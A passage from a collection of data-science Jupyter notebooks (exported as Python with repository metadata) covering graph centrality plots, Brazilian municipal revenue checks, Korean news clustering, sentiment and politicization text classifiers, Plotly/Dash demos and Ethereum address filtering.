plt.xticks(range(len(sg_data)), sg_data_val, size='small', rotation='vertical')\n plt.grid(True)\n plt.title(\"Subgraph {}\".format(i))\n plt.show()\n \n print('The subgraph {} looks like ...'.format(i))\n elarge=[(u,v) for (u,v,d) in sg.edges(data=True) if d['weight'] >2]\n esmall=[(u,v) for (u,v,d) in sg.edges(data=True) if d['weight'] <=2]\n pos = nx.spring_layout(sg, iterations=50)\n #pos = nx.circular_layout(G)\n plt.figure(figsize=(8, 8))\n plt.title('Graph {}'.format(i))\n nx.draw_networkx_nodes(sg,pos,node_size=5, node_color='k')\n nx.draw_networkx_edges(sg,pos,edgelist=elarge, width=5, edge_color='g')\n nx.draw_networkx_edges(sg,pos,edgelist=esmall, width=1,alpha=0.5,edge_color='k',style='dashed')\n plt.axis('off')\n plt.axis('equal')\n plt.show()\n\n\n# I want to make a subplot that will not have a fixed value of subplots, but that automatically do the division. I already made this approximation but it is not what I want\n\ndef partitions(nodes, n):\n \"Partitions the nodes into n subsets\"\n nodes_iter = iter(nodes)\n while True:\n partition = tuple(itertools.islice(nodes_iter,n))\n if not partition:\n return\n yield partition\n\n\ndef btwn_pool(G_tuple):\n return nx.betweenness_centrality_source(*G_tuple)\n\n\ndef between_parallel(G, processes = None):\n p = Pool(processes=processes)\n part_generator = 4*len(p._pool)\n node_partitions = list(partitions(G.nodes(), int(len(G)/part_generator)))\n num_partitions = len(node_partitions)\n \n bet_map = p.map(btwn_pool,\n zip([G]*num_partitions,\n [True]*num_partitions,\n [None]*num_partitions,\n node_partitions))\n \n bt_c = bet_map[0]\n for bt in bet_map[1:]:\n for n in bt:\n bt_c[n] += bt[n]\n return bt_c\n\n\nfor sg in sub_graphs:\n if (sg.number_of_nodes() >= 20):\n\n bt = between_parallel(sg)\n top = 5\n\n max_nodes = sorted(bt.items(), key = lambda v: -v[1])[:top]\n bt_values = [5]*len(sg.nodes())\n bt_colors = [0]*len(sg.nodes())\n for i in range(len(max_nodes)):\n bt_values[i] = 150\n bt_colors[i] = 2\n \n pos = nx.spring_layout(sg)\n plt.axis(\"off\")\n nx.draw_networkx(sg, pos = pos, cmap = plt.get_cmap(\"rainbow\"), node_color = bt_colors, node_size = bt_values, with_labels = False)\n plt.show()\n\n\n","repo_name":"juanhenao21/authors_analysis","sub_path":"jupyter/03_clusters.ipynb","file_name":"03_clusters.ipynb","file_ext":"py","file_size_in_byte":8701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"16273432189","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt \nimport seaborn as sns\nimport warnings\nimport re\nfrom matplotlib import colors\nfrom matplotlib.ticker import PercentFormatter\nwarnings.filterwarnings('ignore')\n\n# +\n#DESCRIÇÃO ATIVIDADE 1: \n#Auxiliar na verificação da consistência das bases de receitas, por meio da comparação das informações no SIOPS com \n#informações no SIGABRASIL, Finbra (contas anuais e RREO), SIOPE e nos portais de transparência\n\n# +\n#PRODUTO:\n#Relatório com análise da consistência das receitas dos três entes federativos - com foco nos dados contidos no SIOPS – \n#e com análise após tratamento das variáveis\n\n# +\n#PRAZO: 01/NOVEMBRO\n# -\n\n\n\n#Receitas que formam a base de cálculo do mínimo em ASPS:\n #a) 15% do ISS + IPTU + ITBI\n #b) 15% da quota-parte do FPM + quota-parte do ITR + quota-parte da Lei Kandir + IRRF + quota-parte do ICMS + \n #quota-parte do IPVA + quota-parte do IPI Exportação\n #c) 15% de outras receitas correntes (receita da dívida ativa tributária de impostos, multas, juros de mora e correção \n #monetária)\n\n# # Teste: Campinas (2019)\n\n# ## Finbra (f)\n\nfinbra_rec17 = pd.read_csv('C:\\\\Users\\\\Gabriel\\\\Desktop\\\\FINBRA\\\\Contas anuais\\\\encode\\\\receitas_2017.csv', sep=';', error_bad_lines=False, skiprows=3, header=0)\nfinbra_rec18 = pd.read_csv('C:\\\\Users\\\\Gabriel\\\\Desktop\\\\FINBRA\\\\Contas anuais\\\\encode\\\\receitas_2018.csv', sep=';', error_bad_lines=False, skiprows=3, header=0)\nfinbra_rec19 = pd.read_csv('C:\\\\Users\\\\Gabriel\\\\Desktop\\\\FINBRA\\\\Contas anuais\\\\encode\\\\receitas_2019.csv', sep=';', error_bad_lines=False, skiprows=3, header=0)\nfinbra_rec20 = pd.read_csv('C:\\\\Users\\\\Gabriel\\\\Desktop\\\\FINBRA\\\\Contas anuais\\\\encode\\\\receitas_2020.csv', sep=';', error_bad_lines=False, skiprows=3, header=0)\n\n# ### Configurando a base do Finbra\n\n# +\nbases = [finbra_rec17, finbra_rec18, finbra_rec19, finbra_rec20]\nf_rec = []\n\nfor df in bases:\n df['Valor'] = df['Valor'].str.replace(',','.')\n df['Valor'] = df['Valor'].astype('float')\n df['Cod.IBGE'] = df['Cod.IBGE'].astype('str').str[:-1].astype('int64')\n f_rec.append(df)\n# -\n\nf_rec[0] = f_rec17\nf_rec[1] = f_rec18\nf_rec[2] = f_rec19\nf_rec[3] = f_rec20\n\n# +\n#A) RECEITAS PRÓPRIAS (IPTU, ISS, ITBI)\n\nf_rec19[f_rec19['Cod.IBGE'] == 350950][f_rec19['Coluna'] == 'Receitas Brutas Realizadas'][f_rec19['Conta'].str.match('1.1.1.8.01.1.0 Imposto sobre a Propriedade Predial e Territorial Urbana')\n | f_rec19['Conta'].str.match('1.1.1.8.01.4.0 Imposto sobre Transmissão ¿Inter Vivos¿ de Bens Imóveis e de Direitos Reais sobre Imóveis')\n | f_rec19['Conta'].str.match('1.1.1.8.02.0.0 Impostos sobre a Produção, Circulação de Mercadorias e Serviços')]\n\n# +\n#B) TRANSFERÊNCIAS (quota-parte do FPM + quota-parte do ITR + quota-parte da Lei Kandir + IRRF + quota-parte do ICMS + \n#quota-parte do IPVA + quota-parte do IPI Exportação)\n\nf_rec19[f_rec19['Cod.IBGE'] == 350950][f_rec19['Coluna'] == 'Receitas Brutas Realizadas'][f_rec19['Conta'].str.match('1.7.1.8.01.2.0 Cota-Parte do Fundo de Participação dos Municípios - Cota Mensal')\n | f_rec19['Conta'].str.match('1.7.1.8.01.5.0 Cota-Parte do Imposto Sobre a Propriedade Territorial Rural')\n | f_rec19['Conta'].str.match('1.1.1.3.03.0.0 - Imposto sobre a Renda - Retido na Fonte')\n | f_rec19['Conta'].str.match('1.7.2.8.01.1.0 Cota-Parte do ICMS')\n | f_rec19['Conta'].str.match('1.7.2.8.01.2.0 Cota-Parte do IPVA')\n | f_rec19['Conta'].str.match('1.7.2.8.01.3.0 Cota-Parte do IPI - Municípios')]\n\n# Lei Kandir (Lei Complementar 87/96)\n\n# +\n#C) OUTRAS RECEITAS CORRENTES: observar alterações na forma como o Finbra apresenta as receitas com multas e juros sobre \n#dívidas nos anos de 2017 e 2018-2020 (Dos Santos et al., 2020)\n# -\n\n# ## SIOPE (se)\n\n\n","repo_name":"luiztauffer/analise-dados-saude","sub_path":"Fiocruz.ipynb","file_name":"Fiocruz.ipynb","file_ext":"py","file_size_in_byte":4053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"28613893172","text":"# # Test script for SomaNews Clustering\n# By Datetime : 2016-08-29 ~ 2016-09-05\n\nimport numpy as np\nimport pandas as pd\n\n# ## Load Data\n# Load Data from database\n\ntrain = pd.read_pickle(\"../datastore/weekly.p\")\ntrain = train.drop(['newsNum'], axis=1)\ntrain.head()\n\n# ## Preprocessing\n# 0. Datetime (16-09-11 ~ 16-09-17)\n# 1. Remove stopwords (regex, hanja)\n# 2. POS Tagging with KoNLPy, Mecab\n\nimport datetime\nfrom konlpy.tag import Mecab\nimport hanja\nimport cnouns\nimport re\n\nmecab = Mecab()\nprint(mecab.pos(u'네, 안녕하세요 나는 정답'))\n\n\ndef text_cleaning(text):\n text = hanja.translate(text, 'substitution')\n text = re.sub('[^가-힝0-9a-zA-Z\\\\s]', '', text)\n text = text.replace(u\"카드뉴스\", '').replace(u\"조선일보\", '')\n return text\n\n\n# ### POS Tagging\n# 일반명사, 고유명사, 외국어 (NNG, NNP, SL)\n\ntrain['title'] = train['title'].apply(lambda text: text_cleaning(text))\ntitle = [cnouns.tokenize(each[1]['title']) for each in train.iterrows()]\n\n\ntrain['content'] = train['content'].apply(lambda text: text_cleaning(text))\ncontent = [cnouns.tokenize(each[1]['content']) for each in train.iterrows()]\n\n# ## Training\n# K-Means Algorithm\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.cluster import KMeans, MiniBatchKMeans\nfrom time import time\n\nvectorizer = TfidfVectorizer(lowercase=False)\nx_list = vectorizer.fit_transform(title)\n\nvectorizer = TfidfVectorizer(lowercase=False)\nx_list2 = vectorizer.fit_transform(content)\n\n# ### Scoring\n\nfrom sklearn.metrics import silhouette_samples, silhouette_score\nfrom scipy.spatial.distance import cdist, pdist\n\n# ### Best Silhoutte Score\n\nbest_score = 0.0\nbest_k = 0\n\nfor k in range(25, 35):\n km = KMeans(n_clusters=k, n_jobs=-1).fit(x_list)\n score = silhouette_score(x_list, km.labels_)\n if best_score < score:\n best_score = score\n best_k = k\n print(\"In Clusters =\", k, \", Score is : %0.3f\" % score)\nprint(\"In Clusters =\", best_k, \", Best score is : %0.3f\" % best_score)\n\n\n# ### TODO: Using Elbow method\n\ndef elbow(df, n):\n kMeansVar = [KMeans(n_clusters=k).fit(df) for k in range(1, n)]\n centroids = [X.cluster_centers_ for X in kMeansVar]\n k_euclid = [cdist(df, cent) for cent in centroids]\n dist = [np.min(ke, axis=1) for ke in k_euclid]\n wcss = [sum(d**2) for d in dist]\n tss = sum(pdist(df)**2)/df.shape[0]\n bss = tss - wcss\n plt.plot(bss)\n plt.show()\n\n\n# ### K-Means Algorithm\n\nfrom matplotlib import pyplot\n\nt0 = time()\nkm = KMeans(n_clusters=best_k, n_jobs=-1).fit(x_list)\nlabels = km.labels_\ncentroids = km.cluster_centers_\nprint(\"Done in %0.3fs.\" % (time() - t0))\n\nprint(km.inertia_)\n\ntrain['cluster'] = labels\ntrain.head()\n\ncluster = train.loc[train['cluster']==13]\ncluster.title\n\n# ### Topic Modeling for contents\n# Latent Dirichlet Allocation (LDA)\n\nfrom sklearn.decomposition import LatentDirichletAllocation\n\n\ndef print_top_words(model, feature_names, n_top_words):\n for topic_idx, topic in enumerate(model.components_):\n print(\"Topic #%d:\" % topic_idx)\n print(\" \".join([feature_names[i] for i in topic.argsort()[:-n_top_words - 1:-1]]))\n print()\n\n\nt0 = time()\nlda = LatentDirichletAllocation(n_topics=1, max_iter=5, n_jobs=-1).fit(x_list2[5])\nprint(\"Done in %0.3fs.\" % (time() - t0))\n\nfeature_names = vectorizer.get_feature_names()\nprint_top_words(lda, feature_names, 5)\n\ntrain['content'][5]\n\n# ## Result\n# 1. Model Selection\n# 2. Preprocessing\n# 3. Feature Engineering\n# 4. Parameter Tuning\n# 5. Score Function\n","repo_name":"SomaNews/somanews-clustering","sub_path":"labs/clustering-swalloow-centroid.ipynb","file_name":"clustering-swalloow-centroid.ipynb","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"24852624887","text":"import csv\nimport os\nimport math\nimport copy\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import accuracy_score\nimport gensim\nimport torch\nimport torch.nn.functional as F\nfrom datetime import datetime\nfrom torchvision.transforms import transforms\nimport nltk\nfrom nltk.sentiment import SentimentIntensityAnalyzer\n\nnp.random.seed(5)\n\nTRAIN_PERCENTAGE = 0.8\nLR = 0.003\nEPOCHS = 256\nTHRESHOLD = 0.5\nMOMENTUM = 0.75\n\n\ndef readData(filename, inputLabels, outputLabels = ['Sentiment']):\n df = pd.read_csv(filename)\n #df.fillna(df.mean(), inplace=True)\n\n inputs = [] \n target = [] \n\n for _, row in df.iterrows():\n inputs.append([row[x] for x in inputLabels])\n target.append([row[x] for x in outputLabels])\n \n if len(inputLabels) == 1:\n inputs = np.squeeze(inputs)\n if len(outputLabels) == 1:\n target = np.squeeze(target)\n return inputs, target, list(set(target)) \n\n\ndef transformOutputs(outputs):\n d = dict()\n val = 0\n for o in outputs:\n if o not in d:\n d[o] = val\n val += 1\n return [d[val] for val in outputs] \n\n\nfile = os.path.join(os.getcwd(), 'data', 'reviews_mixed.csv')\ninputsLabels = ['Text']\noutputsLabels = ['Sentiment']\ninputs, outputs, labelNames = readData(file, inputsLabels, outputsLabels)\noutputs = transformOutputs(outputs)\n\n# +\nnp.random.seed(5)\nnoSamples = len(inputs)\nindexes = [i for i in range(noSamples)]\ntrainSample = np.random.choice(indexes, int(TRAIN_PERCENTAGE * noSamples), replace = False)\ntestSample = [i for i in indexes if not i in trainSample]\n\ntrainInputs = [inputs[i] for i in trainSample]\ntrainOutputs = [outputs[i] for i in trainSample]\ntestInputs = [inputs[i] for i in testSample]\ntestOutputs = [outputs[i] for i in testSample]\n\nprint(trainInputs[:3])\n\n# +\nmodelPath = os.path.join(os.getcwd(), 'models', 'GoogleNews-vectors-negative300.bin')\n\nword2vecModel = gensim.models.KeyedVectors.load_word2vec_format(modelPath, binary = True)\nprint(word2vecModel.most_similar('support'))\n\n\n# +\ndef featureComputation(model, data):\n features = []\n phrases = [phrase.split() for phrase in data]\n\n for phrase in phrases:\n vectors = [model[word] for word in phrase if (len(word) > 2) and (word in model.key_to_index)]\n if len(vectors) == 0:\n result = [0.0] * model.vector_size\n else:\n result = np.sum(vectors, axis = 0) / len(vectors)\n features.append(result)\n return features\n\ntrainFeatures = featureComputation(word2vecModel, trainInputs)\ntestFeatures = featureComputation(word2vecModel, testInputs)\n# -\n\nunsupervisedClassifier = KMeans(n_clusters=2, random_state=0)\nunsupervisedClassifier.fit(trainFeatures)\n\npredicted = unsupervisedClassifier.predict(testFeatures)\n\nprint(\"acc: \", accuracy_score(testOutputs, predicted))\n\n\nclass EmNet(torch.nn.Module):\n\n def __init__(self):\n super(EmNet, self).__init__()\n\n self.l1 = torch.nn.Linear(300, 128)\n self.l2 = torch.nn.Linear(128, 32)\n self.l3 = torch.nn.Linear(32, 1)\n \n def forward(self, x):\n x = F.relu(self.l1(x))\n x = F.relu(self.l2(x))\n x = F.sigmoid(self.l3(x))\n\n return x\n\n\n# +\nmodel = EmNet()\n\noptimizer = torch.optim.SGD(model.parameters(), lr = LR, weight_decay = 1e-3)\nloss_fn = torch.nn.BCELoss()\n\n\n# -\n\ndef train_one_epoch(trainFeatures, trainOutputs):\n avg_loss = 0\n avg_accuracy = 0\n\n for data, label in zip(trainFeatures, trainOutputs):\n\n optimizer.zero_grad()\n\n output = model.forward(torch.from_numpy(np.array(data)).float())\n\n label_tensor = torch.tensor(label, dtype=torch.float32).reshape(output.shape)\n loss = loss_fn(output, label_tensor)\n loss.backward()\n\n optimizer.step()\n\n\n\ndef stats(model, inputs, outputs):\n avg_loss = 0\n avg_accuracy = 0\n for data, label in zip(inputs, outputs):\n output = model(torch.from_numpy(np.array(data)).float())\n label_tensor = torch.tensor(label, dtype=torch.float32).reshape(output.shape)\n loss = loss_fn(output, label_tensor)\n avg_loss += loss.item()\n\n output = 1 if output.item() > THRESHOLD else 0\n if output == label:\n avg_accuracy += 1\n \n return avg_loss / len(inputs), avg_accuracy / len(inputs)\n\n\n# +\ntimestamp = datetime.now().strftime('%Y%m%d_%H%M%S')\n#writer = torch.utils.tensorboard.SummaryWriter('./runs/sepia_filter_{}'.format(timestamp))\n\ndef train(model, trainFeatures, trainOutputs):\n\n train_acc = []\n val_acc = []\n train_loss = []\n val_loss = []\n for epoch in range(EPOCHS):\n\n model.train(True)\n train_one_epoch(trainFeatures, trainOutputs)\n model.train(False)\n\n avg_loss, avg_accuracy = stats(model, trainFeatures, trainOutputs)\n train_acc.append(avg_accuracy)\n train_loss.append(avg_loss)\n\n running_vloss = 0\n avg_vaccuracy = 0\n \"\"\"\n for _, vdata in enumerate(val_loader):\n vinputs, vlabels = vdata\n voutputs = model(vinputs)\n vloss = loss_fn(voutputs, vlabels.unsqueeze(1).float())\n avg_vaccuracy += compute_accuracy(voutputs, vlabels)\n running_vloss += vloss.item()\n \n avg_vloss = running_vloss / (len(val_loader) + 1)\n avg_vaccuracy = avg_vaccuracy / len(val_loader)\n val_acc.append(avg_vaccuracy)\n val_loss.append(avg_vloss)\n \"\"\"\n if epoch % 50 == 0:\n print('EPOCH {}'.format(epoch + 1))\n ##print('LOSS train_loss = {} train_acc = {} val_loss = {} val_acc = {}'.format(avg_loss, avg_accuracy, avg_vloss, avg_vaccuracy))\n #writer.add_scalars('Training vs. Validation Loss',\n # {'Training': avg_loss, 'Validation': avg_vloss},\n # epoch + 1)\n #writer.flush()\n \n return train_acc, train_loss, val_acc, val_loss\n\n\n# -\n\ntrain_acc, train_loss, val_acc, val_loss = train(model, trainFeatures, trainOutputs)\n\n\n# +\ndef plot_stats(train_acc, train_loss, val_acc, val_loss):\n rng = list(range(1, EPOCHS + 1))\n plt.plot(rng, train_acc, '-r')\n plt.plot(rng, train_loss, '-g')\n\nplot_stats(train_acc, train_loss, val_acc, val_loss)\n\n\n# -\n\ndef compute_accuracy(predicted, labels):\n predicted = [1 if pred > THRESHOLD else 0 for pred in predicted]\n return sum([p == l for p, l in zip(predicted, labels)]) / len(predicted)\n\n\npredicted = [model(torch.from_numpy(np.array(val)).float()).item() for val in trainFeatures]\nprint('train acc = ', compute_accuracy(predicted, trainOutputs))\n\npredicted = [model(torch.from_numpy(np.array(val)).float()).item() for val in testFeatures]\nprint('test acc = ', compute_accuracy(predicted, testOutputs))\n\n# +\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Embedding, Conv1D, GlobalMaxPooling1D, Dense, Dropout\nfrom keras.models import Sequential\nfrom keras.optimizers.legacy import Nadam\n\nx_train = trainInputs\ny_train = np.array(trainOutputs)\n\nmax_words = 1000\nmax_len = 100\nembedding_dim = 16 \nnum_filters = 32 \nfilter_size = 5 \nhidden_dims = 64 \nbatch_size = 16 \nepochs = 10 \nlearning_rate = 0.01\n\ntokenizer = Tokenizer(num_words=max_words)\ntokenizer.fit_on_texts(trainInputs)\nsequences = tokenizer.texts_to_sequences(trainInputs)\n\nx_train = pad_sequences(sequences, maxlen=max_len)\n\nmodel = Sequential()\nmodel.add(Embedding(max_words, embedding_dim, input_length=max_len))\nmodel.add(Conv1D(num_filters, filter_size, activation='selu'))\nmodel.add(GlobalMaxPooling1D())\nmodel.add(Dense(hidden_dims, activation='selu'))\nmodel.add(Dropout(0.6))\nmodel.add(Dense(1, activation='sigmoid'))\n\noptimizer = Nadam(learning_rate = learning_rate)\nmodel.compile(optimizer = optimizer, loss = 'binary_crossentropy', metrics = ['accuracy'])\n\nmodel.fit(x_train, y_train, batch_size = batch_size, epochs = epochs)\n\n# +\ntokenizer = Tokenizer(num_words=max_words)\ntokenizer.fit_on_texts(testInputs)\nsequences = tokenizer.texts_to_sequences(testInputs)\n\nx_test = pad_sequences(sequences, maxlen=max_len)\n\npredicted = model(x_test)\nprint(\"test acc: \", compute_accuracy(predicted, testOutputs))\n\n\n# -\n\ndef get_negative_positive(texts):\n concatenated = \" \".join(texts)\n sia = SentimentIntensityAnalyzer()\n \n tokens = nltk.word_tokenize(concatenated)\n\n negative_words = []\n positive_words = []\n for word in tokens:\n score = sia.polarity_scores(word)['compound']\n if score > 0:\n positive_words.append(word)\n elif score < 0:\n negative_words.append(word)\n \n return negative_words, positive_words\n\n\ndef embed_text(text, negative_words, positive_words):\n result = []\n for word in positive_words:\n result.append(text.count(word))\n for word in negative_words:\n result.append(text.count(word))\n \n return result\n\n\ndef embed_texts(texts, negative_words, positive_words):\n return [embed_text(text, negative_words, positive_words) for text in texts]\n\n\nnegative_words, positive_words = get_negative_positive(trainInputs)\ntrainFeatures = embed_texts(trainInputs, positive_words, negative_words)\ntestFeatures = embed_texts(testInputs, positive_words, negative_words)\n\n\nclass EmCNet(torch.nn.Module):\n\n def __init__(self):\n super(EmCNet, self).__init__()\n\n self.l1 = torch.nn.Linear(134, 63)\n self.l2 = torch.nn.Linear(63, 16)\n self.l3 = torch.nn.Linear(16, 1)\n \n def forward(self, x):\n x = F.relu(self.l1(x))\n x = F.relu(self.l2(x))\n x = F.sigmoid(self.l3(x))\n\n return x\n\n\n# +\nmodel = EmCNet()\n\noptimizer = torch.optim.SGD(model.parameters(), lr = LR, weight_decay = 1e-3)\nloss_fn = torch.nn.BCELoss()\n# -\n\ntrain_acc, train_loss, val_acc, val_loss = train(model, trainFeatures, trainOutputs)\n\npredicted = [model(torch.from_numpy(np.array(val)).float()).item() for val in trainFeatures]\nprint('train acc = ', compute_accuracy(predicted, trainOutputs))\n\npredicted = [model(torch.from_numpy(np.array(val)).float()).item() for val in testFeatures]\nprint('train acc = ', compute_accuracy(predicted, testOutputs))\n","repo_name":"victorzarzu/ubb","sub_path":"year2/sem2/ai/lab/lab10/emotions.ipynb","file_name":"emotions.ipynb","file_ext":"py","file_size_in_byte":10281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"28596082680","text":"import pandas as pd\nimport plotly.express as px\nimport matplotlib.pyplot as plt\n\ntips = px.data.tips()\n\ntips.head()\n\ntips['sex'].hist()\n\ntips['smoker'].hist()\n\ntips['time'].hist()\n\ntips['size'].hist()\n\ntips['size'].hist(range=(1,6), bins=5)\n\nax = tips[tips['sex']=='Male'].plot.scatter(x='total_bill', y='tip', c='b', figsize=(13,7))\ntips[tips['sex']=='Female'].plot.scatter(x='total_bill', y='tip', c='r', ax=ax)\nplt.show()\n\nstocks = px.data.stocks()\nstocks.head()\n\nfig = plt.figure(figsize=(13,7))\nax = fig.add_subplot()\nstocks.plot('date', 'GOOG', ax=ax)\nstocks.plot('date', 'AAPL', ax=ax)\nstocks.plot('date', 'AMZN', ax=ax)\nstocks.plot('date', 'FB', ax=ax)\nstocks.plot('date', 'NFLX', ax=ax)\nstocks.plot('date', 'MSFT', ax=ax)\n\npx.histogram(tips, x='sex')\n\npx.histogram(tips, x='smoker')\n\npx.histogram(tips, x='time')\n\npx.histogram(tips, x='size')\n\npx.scatter(tips, x='total_bill', y='tip', color='sex')\n\npx.line(stocks, x='date', y=['GOOG', 'AAPL', 'AMZN', 'FB', 'NFLX', 'MSFT'])\n\n\n\n# +\nimport plotly.express as px\nfrom jupyter_dash import JupyterDash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\nfig1 = px.histogram(tips, x='sex')\nfig2 = px.histogram(tips, x='smoker')\nfig3 = px.histogram(tips, x='time')\nfig4 = px.histogram(tips, x='size')\nfig5 = px.line(stocks, x='date', y=['GOOG', 'AAPL', 'AMZN', 'FB', 'NFLX', 'MSFT'])\n\n# Build App\napp = JupyterDash(__name__)\napp.layout = html.Div(children=[\n html.H1(children='Hello Dash'),\n html.Div(children='Dash: A web application framework for Python.'),\n dcc.Graph(id='fig1', figure=fig1),\n dcc.Graph(id='fig2', figure=fig2),\n dcc.Graph(id='fig3', figure=fig3),\n dcc.Graph(id='fig4', figure=fig4),\n dcc.Graph(id='fig5', figure=fig5),\n])\n\n# Run app and display result inline in the notebook\napp.run_server(mode='inline')\n# -\n\n\n","repo_name":"tritest2015/repo","sub_path":"Samples-Dash.ipynb","file_name":"Samples-Dash.ipynb","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"35865546751","text":"import csv\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom nltk.corpus import stopwords\nimport string\nfrom nltk.stem.snowball import SnowballStemmer\nimport random\nimport io\n\nvocab_size = 1000\nembedding_dim = 16\nmax_length = 15\ntrunc_type = 'post'\npadding_type = 'post'\noov_tok = ''\ntraining_portion = 0.9\n\ncomments = []\nlabels = []\nstopwords = set(stopwords.words('spanish'))\n\n\ndef Normalize(text):\n #QUITAMOS ACENTOS\n \n \n #QUITAMOS \\n y \\r. TEXTO EN MINÚSCULA\n text = text.replace('\\n', ' ').replace('\\r', '').lower()\n \n #QUITAMOS NÚMEROS\n text = ''.join([i for i in text if not i.isdigit()])\n \n #QUITAMOS PUNTUACIÓN\n text = \"\".join(l for l in text if l not in (string.punctuation,'?','¿',',','.'))\n \n #QUITAMOS DOBLES ESPACIOS\n text = ' '.join(text.split())\n\n #STEMMING Y QUITAMOS STOPWORDS\n stemmer = SnowballStemmer(\"spanish\")\n words = text.split()\n text = ''\n for word in words:\n if not word in stopwords:\n stemmed_word = stemmer.stem(word)\n text = text + \" \" + stemmed_word\n \n return text\n\nwith io.open(r\"C:\\Users\\meiza\\Documents\\GitHub\\Forum-Politization\\Dataset\\dataset.csv\", 'r',encoding='latin-1') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar=\"'\")\n #next(reader)\n for row in reader:\n labels.append(row[0])\n comment = Normalize(row[1]) \n comments.append(comment)\n\n\n# +\n#MEZCLAMOS EL DATASET YA QUE EN EL CSV ORIGINAL ESTÁN ORDENADOS\njoint = list(zip(labels, comments))\n\nrandom.shuffle(joint)\n\nlabels, comments = zip(*joint)\n\n#SEPARAMOS ENTRE DATOS PARA ENTRENAR MODELO Y DATOS PARA VALIDAR\ntrain_size = int(len(comments) * training_portion)\ntrain_comments = comments[:train_size]\ntrain_labels = labels[:train_size]\nvalidation_comments = comments[train_size:]\nvalidation_labels = labels[train_size:]\n\n# +\n#INICIAMOS TOKENIZER CON NUESTRO DATASET DE ENTRENO\ntokenizer = Tokenizer(num_words = vocab_size, oov_token=oov_tok)\ntokenizer.fit_on_texts(train_comments)\nword_index = tokenizer.word_index\n\n#TRANSFORMAMOS NUESTRO TEXTO EN TOKENS\ntrain_sequences = tokenizer.texts_to_sequences(train_comments)\n\n#PADDING A LOS COMENTARIOS QUE NO LLEGUEN A MAX_LENGTH.\ntrain_padded = pad_sequences(train_sequences, padding=padding_type, maxlen=max_length)\n\n#TOKENIZAMOS Y AÑADIMOS PADDING AL DATASET DE VALIDACIÓN\nvalidation_sequences = tokenizer.texts_to_sequences(validation_comments)\nvalidation_padded = pad_sequences(validation_sequences, padding=padding_type, maxlen=max_length)\n\n#TRANSFORMAMOS A NUMPY LOS LABELS\ntrain_labels = np.array(train_labels).astype('int')\nvalidation_labels = np.array(validation_labels).astype('int')\n\n\n# +\n#CREAMOS MODELO\nmodel = tf.keras.Sequential([\n tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_length),\n tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64, return_sequences=True)),\n tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(32)),\n tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dropout(0.5),\n tf.keras.layers.Dense(2, activation='softmax')\n])\n\n#COMPILAMOS MODELO\nmodel.compile(loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n optimizer=tf.keras.optimizers.Adam(),\n metrics=['accuracy'])\n\nmodel.summary()\n\n# +\n#ENTRENAMOS MODELO\n\nnum_epochs = 15\nhistory = model.fit(train_padded, train_labels, epochs=num_epochs, validation_data=(validation_padded, validation_labels))\n\n\n# -\n\ndef Predict(text):\n print(text)\n input_data = Normalize(text)\n print(input_data)\n input_data = tokenizer.texts_to_sequences([input_data])\n print(input_data)\n input_data = pad_sequences(input_data, padding=padding_type, maxlen=max_length)\n pred = model.predict(input_data)\n return pred\n\n\nmodel.save(r'C:\\Users\\meiza\\Documents\\GitHub\\Forum-Politization\\Model-Forum-Politization.h5')\n\n\n","repo_name":"meizaguirre86/Forum-Politization-RNN-NLP","sub_path":"Load Dataset and Model Generation.ipynb","file_name":"Load Dataset and Model Generation.ipynb","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"34172638307","text":"import pandas as pd\nfrom clickhouse_driver import Client\nimport numpy as np\nfrom tqdm import tqdm_notebook\n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\n\nfrom scipy.signal import argrelmin, argrelmax\n\nimport networkx as nx\n\nfrom scipy.signal import find_peaks_cwt, find_peaks\n\nfrom scipy import interpolate\n\nfrom bisect import bisect_left, bisect_right\n\n# # Ranks filtering \n#\n# This page describe a process of reducing the list of ~40M addresses to the list of ~1M addresses.\n\n# # Table of contents\n# 1. Initial filtering\n# 2. Addresses with nonzero balances\n# 3. Addresses clustering\n# 4. Where are you, Dmitry?\n# 5. Activity of listed addresses\n\n# # Initial filtering\n#\n# At first, we'll throw out addresses that were inactive during last year. Also, smart contracts were repressed too.\n\nranks_df = pd.read_csv(\"./ranks\", sep=\" \", names=[\"address\", \"rank\"]).set_index(\"address\")\n\nclient = Client(\"localhost\")\n\nactive_addresses = client.execute(\"\"\"\n SELECT distinct(from)\n FROM ethereum_internal_transaction\n WHERE blockNumber > 5000000\n AND value > 0\n\"\"\")\n\nactive_addresses = [a[0] for a in tqdm_notebook(active_addresses) if a[0] in ranks_df.index]\n\nranks_df = ranks_df.loc[active_addresses]\n\ncontracts = client.execute(\"\"\"\n SELECT address\n FROM ethereum_contract\n\"\"\")\n\ncontracts = [c[0] for c in tqdm_notebook(contracts) if c[0] in ranks_df.index]\n\nranks_df = ranks_df.drop(contracts)\n\n# # Addresses with nonzero balances\n# Ethereum balance consists of five parts:\n# 1. Income\n# 2. 